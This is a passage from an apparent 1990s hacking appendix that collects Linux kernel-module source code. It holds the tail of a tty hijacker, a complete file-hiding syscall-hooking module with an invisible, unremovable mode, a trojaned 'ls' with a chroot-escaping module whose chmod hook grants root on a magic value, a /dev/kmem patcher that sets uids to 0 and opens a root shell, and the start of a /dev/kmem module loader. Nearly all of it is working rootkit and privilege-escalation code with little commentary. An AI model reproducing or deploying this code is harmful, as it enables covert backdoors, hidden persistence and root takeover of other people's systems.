  5722. printf("[Takeover mode toggled]\n");
  5723. }
  5724. else stuff_keystroke(my_tty, ch);
  5725. }
  5726. i = read(fd, &ch, 1);
  5727. if(i > 0)
  5728. putchar(ch);
  5729. }
  5730. }
  5731. <--> end ltread.c
  5732. EOF
  5733. </xmp>
  5734. <H3><A NAME="A-e"></a>AFHRM - the monitor tool</h3>
  5735. <b>NAME</b> : AFHRM ( Advanced file hide & redirect module)<br>
  5736. <b>AUTHOR</b> : <A HREF="mailto:lcamtuf@boss.staszic.waw.pl">Michal Zalewski</a><br>
  5737. <b>DESCRIPTION</b> : This LKM was made especially for admins who want to
  5738. control some files (passwd, for example) concerning
  5739. file access. This module can monitor any fileaccess and
  5740. redirect write attempts. It is also possible to do file
  5741. hiding.<br>
  5742. <b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
  5743. <xmp>
  5744. /*
  5745. Advanced file hide & redirect module for Linux 2.0.xx / i386
  5746. ------------------------------------------------------------
  5747. (C) 1998 Michal Zalewski <lcamtuf@boss.staszic.waw.pl>
  5748. */
  5749. #define MODULE
  5750. #define __KERNEL__
  5751. #include <linux/module.h>
  5752. #include <linux/kernel.h>
  5753. #include <asm/unistd.h>
  5754. #include <sys/syscall.h>
  5755. #include <sys/types.h>
  5756. #include <asm/fcntl.h>
  5757. #include <asm/errno.h>
  5758. #include <linux/types.h>
  5759. #include <linux/dirent.h>
  5760. #include <sys/mman.h>
  5761. #if (!defined(__GLIBC__) || __GLIBC__ < 2)
  5762. #include <sys/stat.h>
  5763. #else
  5764. #include <statbuf.h> // What can I do?
  5765. #endif
  5766. #include <linux/string.h>
  5767. #include "broken-glibc.h"
  5768. #include <linux/fs.h>
  5769. #include <linux/malloc.h>
  5770. /* Hope that's free? */
  5771. #define O_NOCHG 0x1000000
  5772. #define O_ACCNOCHG 0x2000000
  5773. #define O_STRICT 0x4000000
  5774. #define O_STILL 0x8000000
  5775. #define M_MAIN 0x0ffffff
  5776. #define M_MINOR (M_MAIN ^ O_ACCMODE)
  5777. struct red { // Redirections database entry.
  5778. const char *src,*dst;
  5779. const int flags,new_flags;
  5780. };
  5781. struct red redir_table[]={
  5782. // Include user-specific choices :-)
  5783. #include "config.h"
  5784. };
  5785. #define REDIRS sizeof(redir_table)/sizeof(struct red)
  5786. struct dat { // Inode database entry.
  5787. long ino,dev;
  5788. int valid;
  5789. };
  5790. int as_today,ohits,ghits, // internal counters.
  5791. uhits,lhits,rhits;
  5792. struct dat polozenie[REDIRS]; // Inodes database.
  5793. // Protos...
  5794. int collect(void);
  5795. extern void* sys_call_table[];
  5796. // Old system calls handlers (for module removal).
  5797. int (*stary_open)(const char *pathname, int flags, mode_t mode);
  5798. int (*stary_getdents)(unsigned int fd, struct dirent* dirp, unsigned int count);
  5799. int (*stary_link)(const char* oldname,const char* newname);
  5800. int (*stary_unlink)(const char* name);
  5801. int (*stary_rename)(const char* oldname,const char* newname);
  5802. int (*sys_stat)(void*,void*);
  5803. int (*mybrk)(void*);
  5804. // Ugly low-level hack - OH, HOW WE NEED IT :)))
  5805. int mystat(const char* arg1,struct stat* arg2,char space) {
  5806. unsigned long m1=0,m2;
  5807. long __res;
  5808. char* a1;
  5809. struct stat* a2;
  5810. if (!space) {
  5811. // If needed, duplicate 1st argument to user space...
  5812. m1=current->mm->brk;
  5813. mybrk((void*)(m1+strlen(arg1)+1));
  5814. a1=(char*)(m1+2);
  5815. memcpy_tofs(a1,arg1,strlen(arg1)+1);
  5816. } else a1=(char*)arg1;
  5817. // Allocate space for 2nd argument...
  5818. m2=current->mm->brk;
  5819. mybrk((void*)(m2+sizeof(struct stat)));
  5820. a2=(struct stat*)(m2+2);
  5821. // Call stat(...)
  5822. __res=sys_stat(a1,a2);
  5823. // Copy 2nd argument back...
  5824. memcpy_fromfs(arg2,a2,sizeof(struct stat));
  5825. // Free memory.
  5826. if (!space) mybrk((void*)m1); else mybrk((void*)m2);
  5827. return __res;
  5828. }
  5829. // New open(...) handler.
  5830. extern int nowy_open(const char *pathname, int flags, mode_t mode) {
  5831. int i=0,n;
  5832. char zmieniony=0,*a1;
  5833. struct stat buf;
  5834. unsigned long m1=0;
  5835. if (++as_today>INTERV) {
  5836. as_today=0;
  5837. collect();
  5838. }
  5839. if (!mystat(pathname,&buf,1)) for (i=0;i<REDIRS && !zmieniony;i++) if (polozenie[i].valid
  5840. && (long)buf.st_dev==polozenie[i].dev && (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
  5841. if (redir_table[i].flags & O_STRICT) n=redir_table[i].flags & O_ACCMODE; else n=0;
  5842. switch(flags) {
  5843. case O_RDONLY:
  5844. if ((redir_table[i].flags & O_WRONLY) || (n & O_RDWR)) n=1;
  5845. break;
  5846. case O_WRONLY:
  5847. if ((redir_table[i].flags & O_RDONLY) || (n & O_RDWR)) n=1;
  5848. break;
  5849. default:
  5850. if (n && (n & (O_RDONLY|O_WRONLY))) n=1;
  5851. n=0;
  5852. }
  5853. #ifdef DEBUG
  5854. printk("AFHRM_DEBUG: open %s (D:0x%x I:0x%x) ",redir_table[i].src, buf.st_dev, buf.st_ino);
  5855. printk("[%s] of: 0x%x cf: 0x%x nf: ",redir_table[i].dst, mode,redir_table[i].flags);
  5856. printk("0x%x rd: %d.\n", redir_table[i].new_flags, n==0);
  5857. #endif
  5858. ohits++;
  5859. if (!n && (((redir_table[i].flags & M_MINOR) & flags) == (redir_table[i].flags & M_MINOR)))
  5860. if (redir_table[i].dst) {
  5861. flags=(((redir_table[i].new_flags & O_NOCHG) > 0)*flags) |
  5862. (((redir_table[i].new_flags & O_ACCNOCHG) > 0)*(flags & O_ACCMODE)) |
  5863. (redir_table[i].new_flags & M_MAIN);
  5864. /* User space trick */
  5865. m1=current->mm->brk;
  5866. mybrk((void*)(m1+strlen(redir_table[i].dst)+1));
  5867. a1=(char*)(m1+2);
  5868. memcpy_tofs(a1,redir_table[i].dst,strlen(redir_table[i].dst)+1);
  5869. pathname=a1;
  5870. zmieniony=1;
  5871. } else return -ERR;
  5872. }
  5873. i=stary_open(pathname,flags,mode);
  5874. if (zmieniony) mybrk((void*)m1);
  5875. return i;
  5876. }
  5877. // New getdents(...) handler.
  5878. int nowy_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
  5879. int ret,n,t,i,dev;
  5880. struct dirent *d2,*d3;
  5881. ret=stary_getdents(fd,dirp,count);
  5882. dev = (long)current->files->fd[fd]->f_inode->i_dev;
  5883. if (ret>0) {
  5884. d2=(struct dirent*)kmalloc(ret,GFP_KERNEL);
  5885. memcpy_fromfs(d2,dirp,ret);
  5886. d3=d2;
  5887. t=ret;
  5888. while (t>0) {
  5889. n=d3->d_reclen;
  5890. t-=n;
  5891. for (i=0;i<REDIRS;i++)
  5892. if (polozenie[i].valid && /* dev == polozenie[i].dev && */ /* BROKEN! */
  5893. d3->d_ino==polozenie[i].ino && redir_table[i].dst == NULL) {
  5894. #ifdef DEBUG
  5895. printk("AFHRM_DEBUG: getdents %s [D: 0x%x I: 0x%x] r: 0x%x t: 0x%x\n",
  5896. redir_table[i].src,dev,d3->d_ino,ret,t);
  5897. #endif
  5898. ghits++;
  5899. if (t!=0) memmove(d3,(char*)d3+d3->d_reclen,t); else d3->d_off=1024;
  5900. ret-=n;
  5901. }
  5902. if (!d3->d_reclen) { ret-=t;t=0; }
  5903. if (t) d3=(struct dirent*)((char*)d3+d3->d_reclen);
  5904. }
  5905. memcpy_tofs(dirp,d2,ret);
  5906. kfree(d2);
  5907. }
  5908. return ret;
  5909. }
  5910. // New link(...) handler.
  5911. extern int nowy_link(const char *oldname,const char *newname) {
  5912. int i;
  5913. struct stat buf;
  5914. if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
  5915. (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
  5916. redir_table[i].flags | O_STILL ) &&
  5917. (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
  5918. #ifdef DEBUG
  5919. printk("AFHRM_DEBUG: link %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
  5920. (long)*((char*)&buf.st_dev+4));
  5921. #endif
  5922. lhits++;
  5923. if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
  5924. }
  5925. return stary_link(oldname,newname);
  5926. }
  5927. // New unlink(...) handler.
  5928. extern int nowy_unlink(const char *name) {
  5929. int i;
  5930. struct stat buf;
  5931. if (!mystat(name,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
  5932. (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
  5933. redir_table[i].flags | O_STILL ) &&
  5934. (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
  5935. #ifdef DEBUG
  5936. printk("AFHRM_DEBUG: unlink %s (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
  5937. (long)*((char*)&buf.st_dev+4));
  5938. #endif
  5939. uhits++;
  5940. if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
  5941. }
  5942. return stary_unlink(name);
  5943. }
  5944. // New rename(...) handler.
  5945. extern int nowy_rename(const char *oldname, const char* newname) {
  5946. int i;
  5947. struct stat buf;
  5948. if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
  5949. (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
  5950. redir_table[i].flags | O_STILL ) &&
  5951. (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
  5952. #ifdef DEBUG
  5953. printk("AFHRM_DEBUG: rename %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
  5954. (long)*((char*)&buf.st_dev+4));
  5955. #endif
  5956. rhits++;
  5957. if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
  5958. }
  5959. return stary_rename(oldname,newname);
  5960. }
  5961. // Inode database rebuild procedure.
  5962. int collect() {
  5963. int x=0,i=0,err;
  5964. struct stat buf;
  5965. #ifdef DEBUG
  5966. printk("AFHRM_DEBUG: Automatic inode database rebuild started.\n");
  5967. #endif
  5968. for (;i<REDIRS;i++)
  5969. if (!(err=mystat(redir_table[i].src,&buf,0))) {
  5970. polozenie[i].valid=1;
  5971. polozenie[i].dev=buf.st_dev;
  5972. polozenie[i].ino=(long)*((char*)&buf.st_dev+4);
  5973. #ifdef DEBUG
  5974. printk("AFHRM_DEBUG: #%d file %s [D: 0x%x I: 0x%x].\n",x,redir_table[i].src,
  5975. buf.st_dev,buf.st_ino);
  5976. #endif
  5977. x++;
  5978. } else {
  5979. polozenie[i].valid=0;
  5980. #ifdef DEBUG
  5981. printk("AFHRM_DEBUG: file: %s missed [err %d].\n",redir_table[i].src,-err);
  5982. }
  5983. if (x!=REDIRS) {
  5984. printk("AFHRM_DEBUG: %d inode(s) not found, skipped.\n",REDIRS-x);
  5985. #endif
  5986. }
  5987. return x;
  5988. }
  5989. // ********
  5990. // MAINS :)
  5991. // ********
  5992. // Module startup.
  5993. int init_module(void) {
  5994. #ifdef HIDDEN
  5995. register struct module *mp asm("%ebp");
  5996. #endif
  5997. int x;
  5998. unsigned long flags;
  5999. save_flags(flags);
  6000. cli(); // To satisfy kgb ;-)
  6001. #ifdef HIDDEN
  6002. *(char*)(mp->name)=0;
  6003. mp->size=0;
  6004. mp->ref=0;
  6005. #endif
  6006. #ifdef VERBOSE
  6007. printk("AFHRM_INIT: Version " VERSION " starting.\n");
  6008. #ifdef HIDDEN
  6009. register_symtab(0);
  6010. printk("AFHRM_INIT: Running in invisible mode - can't be removed.\n");
  6011. #endif
  6012. printk("AFHRM_INIT: inode database rebuild interval: %d calls.\n",INTERV);
  6013. #endif
  6014. sys_stat=sys_call_table[__NR_stat];
  6015. mybrk=sys_call_table[__NR_brk];
  6016. x=collect();
  6017. stary_open=sys_call_table[__NR_open];
  6018. stary_getdents=sys_call_table[__NR_getdents];
  6019. stary_link=sys_call_table[__NR_link];
  6020. stary_unlink=sys_call_table[__NR_unlink];
  6021. stary_rename=sys_call_table[__NR_rename];
  6022. #ifdef VERBOSE
  6023. printk("AFHRM_INIT: Old __NR_open=0x%x, new __NR_open=0x%x.\n",(int)stary_open,(int)nowy_open);
  6024. printk("AFHRM_INIT: Old __NR_getdents=0x%x, new __NR_getdents=0x%x.\n",(int)stary_getdents,
  6025. (int)nowy_getdents);
  6026. printk("AFHRM_INIT: Old __NR_link=0x%x, new __NR_link=0x%x.\n",(int)stary_link,(int)nowy_link);
  6027. printk("AFHRM_INIT: Old __NR_unlink=0x%x, new __NR_unlink=0x%x.\n",(int)stary_unlink,
  6028. (int)nowy_unlink);
  6029. printk("AFHRM_INIT: Old __NR_rename=0x%x, new __NR_rename=0x%x.\n",(int)stary_rename,
  6030. (int)nowy_rename);
  6031. #endif
  6032. sys_call_table[__NR_open]=nowy_open;
  6033. sys_call_table[__NR_getdents]=nowy_getdents;
  6034. sys_call_table[__NR_link]=nowy_link;
  6035. sys_call_table[__NR_unlink]=nowy_unlink;
  6036. sys_call_table[__NR_rename]=nowy_rename;
  6037. #ifdef VERBOSE
  6038. printk("AFHRM_INIT: %d of %d redirections loaded. Init OK.\n",x,REDIRS);
  6039. #endif
  6040. restore_flags(flags);
  6041. return 0;
  6042. }
  6043. // Module shutdown...
  6044. void cleanup_module(void) {
  6045. unsigned long flags;
  6046. save_flags(flags);
  6047. cli(); // To satisfy kgb ;-)
  6048. #ifdef VERBOSE
  6049. printk("AFHRM_INIT: Version " VERSION " shutting down.\n");
  6050. #endif
  6051. sys_call_table[__NR_open]=stary_open;
  6052. sys_call_table[__NR_getdents]=stary_getdents;
  6053. sys_call_table[__NR_link]=stary_link;
  6054. sys_call_table[__NR_unlink]=stary_unlink;
  6055. sys_call_table[__NR_rename]=stary_rename;
  6056. #ifdef VERBOSE
  6057. printk("AFHRM_INIT: Hits: open %d, getdents %d, link %d, unlink %d, rename %d. Shutdown OK.\n",
  6058. ohits,ghits,lhits,uhits,rhits);
  6059. #endif
  6060. restore_flags(flags);
  6061. }
  6062. </xmp>
  6063. <H3><A NAME="A-f"></a>CHROOT module trick</h3>
  6064. <b>NAME</b> : chr.c<br>
  6065. <b>AUTHOR</b> : FLoW/HISPAHACK<br>
  6066. <b>DESCRIPTION</b> : The first source represents the ls 'trojan'. The second one
  6067. represents the actual module which is doing the chroot trick.<br>
  6068. <b>LINK</b> : <A HREF="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br>
  6069. <xmp>
  6070. /*LS 'TROJAN'*/
  6071. /* Sustituto para el "ls" de un ftp restringido.
  6072. * Carga el modulo del kernel chr.o
  6073. * FLoW - !H'98
  6074. */
  6075. #include <stdio.h>
  6076. #include <sys/wait.h>
  6077. main()
  6078. {
  6079. int estado;
  6080. printf("UID: %i EUID: %i\n",getuid(),geteuid());
  6081. printf("Cambiando EUID...\n");
  6082. setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0 */
  6083. printf("UID: %i EUID: %i\n",getuid(),geteuid());
  6084. switch(fork())
  6085. {
  6086. case -1: printf("Error creando hijo.\n");
  6087. case 0: execlp("/bin/insmod","insmod","/bin/chr.o",0);
  6088. printf("Error ejecutando insmod.\n");
  6089. exit(1);
  6090. default: printf("Cargando modulo chroot...\n");
  6091. wait(&estado);
  6092. if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0)
  6093. printf("Modulo cargado!\n");
  6094. else
  6095. printf("Error cargando modulo.\n");
  6096. break;
  6097. }
  6098. }
  6099. /* Modulo del kernel para anular un chroot() y "retocar" chmod()
  6100. * FLoW - !H'98
  6101. * Basado en heroin.c de Runar Jensen <zarq@opaque.org>
  6102. */
  6103. #include <linux/fs.h>
  6104. #include <linux/module.h>
  6105. #include <linux/malloc.h>
  6106. #include <linux/unistd.h>
  6107. #include <sys/syscall.h>
  6108. #include <linux/dirent.h>
  6109. #include <linux/proc_fs.h>
  6110. #include <stdlib.h>
  6111. static inline _syscall2(int, chmod, const char*, path, mode_t, mode);
  6112. static inline _syscall1(int, setuid, uid_t, uid);
  6113. extern void *sys_call_table[];
  6114. int (*original_chroot)(const char *, const char*);
  6115. int (*original_chmod)(const char *, mode_t);
  6116. int (*original_setuid)(uid_t);
  6117. int hacked_chmod(const char *path, mode_t mode)
  6118. {
  6119. int err;
  6120. if(mode==83) { /* chmod 123 XXX */
  6121. (*original_setuid)(0);
  6122. err=(*original_chmod)(path, 511); /* chmod 777 XXX */
  6123. }
  6124. else {
  6125. err=(*original_chmod)(path, mode);
  6126. }
  6127. return(err);
  6128. }
  6129. int hacked_chroot(const char *path, const char *cmd)
  6130. {
  6131. return(0);
  6132. }
  6133. int init_module(void)
  6134. {
  6135. original_setuid = sys_call_table[SYS_setuid];
  6136. original_chroot = sys_call_table[SYS_chroot];
  6137. sys_call_table[SYS_chroot] = hacked_chroot;
  6138. original_chmod = sys_call_table[SYS_chmod];
  6139. sys_call_table[SYS_chmod] = hacked_chmod;
  6140. return(0);
  6141. }
  6142. void cleanup_module(void)
  6143. {
  6144. sys_call_table[SYS_chroot] = original_chroot;
  6145. sys_call_table[SYS_chmod] = original_chmod;
  6146. }
  6147. </xmp>
  6148. <H3><A NAME="A-g"></a>Kernel Memory Patching</h3>
  6149. <b>NAME</b> : kmemthief.c<br>
  6150. <b>AUTHOR</b> : unknown (I really tried to find out, but I found no comments)
  6151. I found a similar source by daemon9 who took it from 'Unix
  6152. Security: A practical tutorial'<br>
  6153. <b>DESCRIPTION</b> : This is a 'standard' kmem patcher, which gives you root (your
  6154. user process). The system you try to exploit must permit write
  6155. and read access to /dev/kmem. There are some systems that make
  6156. that fault but don't rely on that.<br>
  6157. <b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
  6158. <xmp>
  6159. /*
  6160. kmem_thief
  6161. compile as follows:
  6162. cc -O kmem_thief.c -ld -o kmem_thief
  6163. */
  6164. #include <stdio.h>
  6165. #include <fcntl.h>
  6166. #include <sys/signal.h>
  6167. #include <sys/param.h>
  6168. #include <sys/types.h>
  6169. #include <sys/dir.h>
  6170. #include <sys/user.h>
  6171. struct user userpage;
  6172. long address(), userlocation;
  6173. int main(argc, argv, envp)
  6174. int argc;
  6175. char *argv[], *envp[];
  6176. {
  6177. int count, fd;
  6178. long where, lseek();
  6179. fd = open( "/dev/kmem",O_RDWR);
  6180. if(fd < 0)
  6181. {
  6182. printf("Could not open /dev/kmem.\n");
  6183. perror(argv);
  6184. exit(10);
  6185. }
  6186. userlocation = address();
  6187. where = lseek(fd, userlocation, 0);
  6188. if(where != userlocation)
  6189. {
  6190. printf("Could not seek to user page.\n");
  6191. perror(argv);
  6192. exit(20);
  6193. }
  6194. count = read(fd, &userpage, sizeof(struct user));
  6195. if(count != sizeof(struct user))
  6196. {
  6197. printf("Could not read user page.\n");
  6198. perror(argv);
  6199. exit(30);
  6200. }
  6201. printf(" Current uid is %d\n", userpage.u_ruid);
  6202. printf(" Current gid is %d\n", userpage.u_rgid);
  6203. printf(" Current euid is %d\n", userpage.u_uid);
  6204. printf(" Current egid is %d\n", userpage.u_gid);
  6205. userpage.u_ruid = 0;
  6206. userpage.u_rgid = 0;
  6207. userpage.u_uid = 0;
  6208. userpage.u_gid = 0;
  6209. where = lseek(fd, userlocation, 0);
  6210. if(where != userlocation)
  6211. {
  6212. printf("Could not seek to user page.\n");
  6213. perror(argv);
  6214. exit(40);
  6215. }
  6216. write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)&userpage));
  6217. execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp);
  6218. }
  6219. # include <filehdr.h>
  6220. # include <syms.h>
  6221. # include <ldfcn.h>
  6222. # define LNULL ( (LDFILE *)0 )
  6223. long address ()
  6224. {
  6225. LDFILE *object;
  6226. SYMENT symbol;
  6227. long idx;
  6228. object = ldopen( "/unix", LNULL );
  6229. if( object == LNULL ) {
  6230. fprintf( stderr, "Could not open /unix.\n" );
  6231. exit( 50 );
  6232. }
  6233. for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx++ ) {
  6234. if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) {
  6235. fprintf( stdout, "user page is at: 0x%8.8x\n", symbol.n_value );
  6236. ldclose( object );
  6237. return( symbol.n_value );
  6238. }
  6239. }
  6240. fprintf( stderr, "Could not read symbols in /unix.\n");
  6241. exit( 60 );
  6242. }
  6243. </xmp>
  6244. <H3><A NAME="A-h"></a>Module insertion without native support</h3>
  6245. <b>NAME</b> : kinsmod.c<br>
  6246. <b>AUTHOR</b> : <A HREF="mailto:silvio@big.net.au">Silvio Cesare</a><br>
  6247. <b>DESCRIPTION</b> : This is a very nice program which allows us to insert LKMs
  6248. on system with no native module support.<br>
  6249. <b>LINK</b> : found it by a search on <A HREF="http://www.antisearch.com">http://www.antisearch.com</a><br>
  6250. <xmp>
  6251. /**********needed include file*/
  6252. #ifndef KMEM_H
  6253. #define KMEM_H
  6254. #include <linux/module.h>
  6255. #include <unistd.h>
  6256. #include <fcntl.h>
  6257. /*
  6258. these functions are anologous to standard file routines.
  6259. */
  6260. #define kopen(mode) open("/dev/kmem", (mode))
  6261. #define kclose(kd) close((kd))
  6262. ssize_t kread(int kd, int pos, void *buf, size_t size);
  6263. ssize_t kwrite(int kd, int pos, void *buf, size_t size);
  6264. /*
  6265. ksyms initialization and cleanup
  6266. */
  6267. int ksyms_init(const char *map);
  6268. void ksyms_cleanup(void);
  6269. /*
  6270. print the ksym table
  6271. */
  6272. void ksyms_print(void);
  6273. /*
  6274. return the ksym of name 'name' or NULL if no symbol exists
  6275. */
  6276. struct kernel_sym *ksyms_find(const char *name);
  6277. #endif
  6278. /**********KMEM functions*/
  6279. #include <stdio.h>
  6280. #include <stdlib.h>
  6281. #include <ctype.h>
  6282. #include <string.h>
  6283. #include <unistd.h>
  6284. #include <fcntl.h>
  6285. #include <stdio.h>
  6286. #include <linux/module.h>
  6287. #include <linux/unistd.h>
  6288. #include "kmem.h"
  6289. struct ksymlist {
  6290. struct ksymlist* next;
  6291. struct kernel_sym ksym;
  6292. };
  6293. struct ksymlisthead {
  6294. struct ksymlist* next;
  6295. };
  6296. /*
  6297. the hash size must be an integral power of two
  6298. */
  6299. #define KSYM_HASH_SIZE 512
  6300. struct ksymlisthead ksymhash[KSYM_HASH_SIZE];
  6301. /*
  6302. these functions are anologous to standard file routines.
  6303. */
  6304. ssize_t kread(int kd, int pos, void *buf, size_t size)
  6305. {
  6306. int retval;
  6307. retval = lseek(kd, pos, SEEK_SET);
  6308. if (retval != pos) return retval;
  6309. return read(kd, buf, size);
  6310. }
  6311. ssize_t kwrite(int kd, int pos, void *buf, size_t size)
  6312. {
  6313. int retval;
  6314. retval = lseek(kd, pos, SEEK_SET);
  6315. if (retval != pos) return retval;
  6316. return write(kd, buf, size);
  6317. }
  6318. void ksyms_print(void)
  6319. {
  6320. int i;
  6321. for (i = 0; i < KSYM_HASH_SIZE; i++) {
  6322. struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
  6323. struct ksymlist *current = ksymhash[i].next;
  6324. while (current != head) {
  6325. printf(
  6326. "name: %s addr: %lx\n",
  6327. current->ksym.name,
  6328. current->ksym.value
  6329. );
  6330. current = current->next;
  6331. }
  6332. }
  6333. }
  6334. void ksyms_cleanup(void)
  6335. {
  6336. int i;
  6337. for (i = 0; i < KSYM_HASH_SIZE; i++) {
  6338. struct ksymlist *head = (struct ksymlist *)&ksymhash[i];
  6339. struct ksymlist *current = head->next;
  6340. while (current != head) {
  6341. struct ksymlist *next = current->next;
  6342. free(current);
  6343. current = next;
  6344. }
  6345. }
  6346. }
  6347. int hash(const char *name)
  6348. {
  6349. unsigned long h;
  6350. const char *p;
  6351. for (h = 0, p = name; *p; h += (unsigned char)*p, p++);
  6352. return h & (KSYM_HASH_SIZE - 1);
  6353. }
  6354. int ksyminsert(struct kernel_sym *ksym)
  6355. {
  6356. struct ksymlist *node;
  6357. struct ksymlisthead *head;
  6358. node = (struct ksymlist *)malloc(sizeof(struct ksymlist));
  6359. if (node == NULL) return -1;
  6360. head = &ksymhash[hash(ksym->name)];
  6361. memcpy(&node->ksym, ksym, sizeof(*ksym));
  6362. node->next = (struct ksymlist *)head->next;
  6363. head->next = node;
  6364. return 0;
  6365. }
  6366. int ksyms_init(const char *map)
  6367. {
  6368. char s[512];
  6369. FILE *f;
  6370. int i;
  6371. for (i = 0; i < KSYM_HASH_SIZE; i++)
  6372. ksymhash[i].next = (struct ksymlist *)&ksymhash[i];
  6373. f = fopen(map, "r");
  6374. if (f == NULL) return -1;
  6375. while (fgets(s, sizeof(s), f) != NULL) {
  6376. struct kernel_sym ksym;
  6377. char *n, *p;
  6378. ksym.value = strtoul(s, &n, 16);
  6379. if (n == s || *n == 0) goto error;
  6380. p = n;
  6381. while (*p && isspace(*p)) ++p;
  6382. if (*p == 0 || p[1] == 0 || p[2] == 0) goto error;
  6383. p += 2;
  6384. n = p;
  6385. while (*p && !isspace(*p)) ++p;
  6386. if (*p) *p = 0;
  6387. strncpy(ksym.name, n, 60);
  6388. if (ksyminsert(&ksym) < 0) goto error;
  6389. }
  6390. fclose(f);
  6391. return 0;
  6392. error:
  6393. fclose(f);
  6394. ksyms_cleanup();
  6395. printf("--> %s\n", s);
  6396. return -1;
  6397. }
  6398. struct kernel_sym *ksyms_find(const char *name)
  6399. {
  6400. struct ksymlist *head = (struct ksymlist *)&ksymhash[hash(name)];
  6401. struct ksymlist *current = head->next;
  6402. while (current != head) {
  6403. if (!strncmp(current->ksym.name, name, 60))
  6404. return &current->ksym;
  6405. current = current->next;
  6406. }
  6407. return NULL;
  6408. }
  6409. /**********MAIN PROGRAM : kinsmod.c*/
  6410. #include <stdio.h>
  6411. #include <stdlib.h>
  6412. #include <unistd.h>
  6413. #include <string.h>
  6414. #include <fcntl.h>
  6415. #include <elf.h>
  6416. #include <getopt.h>
  6417. #include "kmem.h"
  6418. static char system_map[] = "System.kmap";
  6419. static int error = 0;
  6420. static int run = 0;
  6421. static int force = 0;
  6422. struct _module {
  6423. Elf32_Ehdr ehdr;
  6424. Elf32_Shdr* shdr;
  6425. unsigned long maddr;
  6426. int maxlen;
  6427. int len;
  6428. int strtabidx;
  6429. char** section;
  6430. };
  6431. Elf32_Sym *local_sym_find(
  6432. Elf32_Sym *symtab, int n, char *strtab, const char *name
  6433. )
  6434. {
  6435. int i;
  6436. for (i = 0; i < n; i++) {
  6437. if (!strcmp(&strtab[symtab[i].st_name], name))
  6438. return &symtab[i];
  6439. }
  6440. return NULL;
  6441. }
  6442. Elf32_Sym *localall_sym_find(struct _module *module, const char *name)
  6443. {
  6444. char *strtab = module->section[module->strtabidx];
  6445. int i;
  6446. for (i = 0; i < module->ehdr.e_shnum; i++) {
  6447. Elf32_Shdr *shdr = &module->shdr[i];
  6448. if (shdr->sh_type == SHT_SYMTAB) {
  6449. Elf32_Sym *sym;
  6450. sym = local_sym_find(
  6451. (Elf32_Sym *)module->section[i],
  6452. shdr->sh_size/sizeof(Elf32_Sym),
  6453. strtab,
  6454. name
  6455. );
  6456. if (sym != NULL) return sym;
  6457. }
  6458. }
  6459. return NULL;
  6460. }
  6461. void check_module(struct _module *module, int fd)
  6462. {
  6463. Elf32_Ehdr *ehdr = &module->ehdr;
  6464. if (read(fd, ehdr, sizeof(*ehdr)) != sizeof(*ehdr)) {
  6465. perror("read");
  6466. exit(1);
  6467. }
  6468. /* ELF checks */
  6469. if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
  6470. fprintf(stderr, "File not ELF\n");
  6471. exit(1);
  6472. }
  6473. if (ehdr->e_type != ET_REL) {
  6474. fprintf(stderr, "ELF type not ET_REL\n");
  6475. exit(1);
  6476. }
  6477. if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
  6478. fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
  6479. exit(1);
  6480. }
  6481. if (ehdr->e_version != EV_CURRENT) {
  6482. fprintf(stderr, "ELF version not current\n");
  6483. exit(1);
  6484. }
  6485. }
  6486. void load_section(char **p, int fd, Elf32_Shdr *shdr)
  6487. {
  6488. if (lseek(fd, shdr->sh_offset, SEEK_SET) < 0) {
  6489. perror("lseek");
  6490. exit(1);
  6491. }
  6492. *p = (char *)malloc(shdr->sh_size);
  6493. if (*p == NULL) {
  6494. perror("malloc");
  6495. exit(1);
  6496. }
  6497. if (read(fd, *p, shdr->sh_size) != shdr->sh_size) {
  6498. perror("read");
  6499. exit(1);
  6500. }
  6501. }
  6502. void load_module(struct _module *module, int fd)
  6503. {
  6504. Elf32_Ehdr *ehdr;
  6505. Elf32_Shdr *shdr;
  6506. char **sectionp;
  6507. int slen;
  6508. int i;
  6509. check_module(module, fd);
  6510. ehdr = &module->ehdr;
  6511. slen = sizeof(Elf32_Shdr)*ehdr->e_shnum;
  6512. module->shdr = (Elf32_Shdr *)malloc(slen);
  6513. if (module->shdr == NULL) {
  6514. perror("malloc");
  6515. exit(1);
  6516. }
  6517. module->section = (char **)malloc(sizeof(char **)*ehdr->e_shnum);
  6518. if (module->section == NULL) {
  6519. perror("malloc");
  6520. exit(1);
  6521. }
  6522. if (lseek(fd, ehdr->e_shoff, SEEK_SET) < 0) {
  6523. perror("lseek");
  6524. exit(1);
  6525. }
  6526. if (read(fd, module->shdr, slen) != slen) {
  6527. perror("read");
  6528. exit(1);
  6529. }
  6530. for (
  6531. i = 0, sectionp = module->section, shdr = module->shdr;
  6532. i < ehdr->e_shnum;
  6533. i++, sectionp++
  6534. ) {
  6535. switch (shdr->sh_type) {
  6536. case SHT_NULL:
  6537. case SHT_NOTE:
  6538. case SHT_NOBITS:
  6539. break;
